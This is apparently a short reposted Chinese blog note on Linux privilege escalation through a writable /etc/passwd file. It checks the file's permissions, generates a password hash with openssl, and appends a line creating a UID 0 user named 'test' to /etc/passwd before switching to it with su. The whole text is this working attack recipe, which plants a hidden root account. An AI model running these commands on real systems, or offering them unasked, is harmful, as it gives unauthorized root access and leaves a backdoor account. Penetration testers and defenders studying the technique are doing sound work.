Linux passwd 提权

利用条件,passwd 可写

ls -al /etc/passwd

利用方式:

生成密钥

 openssl passwd -1 -salt test 123456

  

写入passwd

echo 'test:密钥:0:0::/root:/bin/bash' >> /etc/passwd
su test

  

原文地址:https://www.cnblogs.com/junsec/p/11655267.html